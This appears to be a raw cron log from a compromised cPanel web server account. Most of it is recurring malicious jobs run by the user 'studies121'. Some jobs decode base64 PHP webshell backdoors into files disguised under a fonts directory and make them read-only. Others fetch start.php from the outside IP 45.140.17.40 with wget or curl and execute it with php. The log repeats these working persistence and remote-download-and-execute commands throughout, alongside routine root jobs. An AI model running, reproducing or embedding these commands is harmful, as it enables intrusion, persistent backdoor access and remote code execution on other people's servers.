Feb 22 10:51:01 ip-184-168-122-23 CROND[6600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:51:01 ip-184-168-122-23 CROND[6602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:52:01 ip-184-168-122-23 CROND[6937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:52:01 ip-184-168-122-23 CROND[6940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:52:01 ip-184-168-122-23 CROND[6941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:52:01 ip-184-168-122-23 CROND[6942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:52:01 ip-184-168-122-23 CROND[6939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:53:01 ip-184-168-122-23 CROND[7337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:53:01 ip-184-168-122-23 CROND[7339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:53:01 ip-184-168-122-23 CROND[7340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:53:01 ip-184-168-122-23 CROND[7341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:54:01 ip-184-168-122-23 CROND[7656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:54:01 ip-184-168-122-23 CROND[7657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:54:01 ip-184-168-122-23 CROND[7658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:54:01 ip-184-168-122-23 CROND[7660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:54:01 ip-184-168-122-23 CROND[7659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:55:01 ip-184-168-122-23 CROND[7989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:55:01 ip-184-168-122-23 CROND[7990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:55:01 ip-184-168-122-23 CROND[7993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:55:01 ip-184-168-122-23 CROND[7995]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:55:01 ip-184-168-122-23 CROND[7994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:55:01 ip-184-168-122-23 CROND[7997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:56:01 ip-184-168-122-23 CROND[8352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:56:01 ip-184-168-122-23 CROND[8353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:56:01 ip-184-168-122-23 CROND[8355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:56:01 ip-184-168-122-23 CROND[8358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:56:01 ip-184-168-122-23 CROND[8359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:57:01 ip-184-168-122-23 CROND[8676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:57:01 ip-184-168-122-23 CROND[8680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:57:01 ip-184-168-122-23 CROND[8678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:57:01 ip-184-168-122-23 CROND[8679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:58:01 ip-184-168-122-23 CROND[9070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:58:01 ip-184-168-122-23 CROND[9072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:58:01 ip-184-168-122-23 CROND[9073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:58:01 ip-184-168-122-23 CROND[9074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:58:01 ip-184-168-122-23 CROND[9075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:59:01 ip-184-168-122-23 CROND[9414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:59:01 ip-184-168-122-23 CROND[9416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:59:01 ip-184-168-122-23 CROND[9417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:59:01 ip-184-168-122-23 CROND[9418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:00:01 ip-184-168-122-23 CROND[9728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 11:00:01 ip-184-168-122-23 CROND[9732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:00:01 ip-184-168-122-23 CROND[9737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:00:01 ip-184-168-122-23 CROND[9736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:00:01 ip-184-168-122-23 CROND[9738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:00:01 ip-184-168-122-23 CROND[9734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:00:01 ip-184-168-122-23 CROND[9739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:00:01 ip-184-168-122-23 CROND[9740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:01:01 ip-184-168-122-23 CROND[10067]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 11:01:01 ip-184-168-122-23 CROND[10068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:01:01 ip-184-168-122-23 CROND[10076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:01:01 ip-184-168-122-23 CROND[10074]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10067]: starting 0anacron
Feb 22 11:01:01 ip-184-168-122-23 CROND[10080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:01:01 ip-184-168-122-23 CROND[10081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10088]: finished 0anacron
Feb 22 11:02:01 ip-184-168-122-23 CROND[10454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:02:01 ip-184-168-122-23 CROND[10456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:02:01 ip-184-168-122-23 CROND[10458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:02:01 ip-184-168-122-23 CROND[10459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:02:01 ip-184-168-122-23 CROND[10460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:03:01 ip-184-168-122-23 CROND[10792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:03:01 ip-184-168-122-23 CROND[10793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
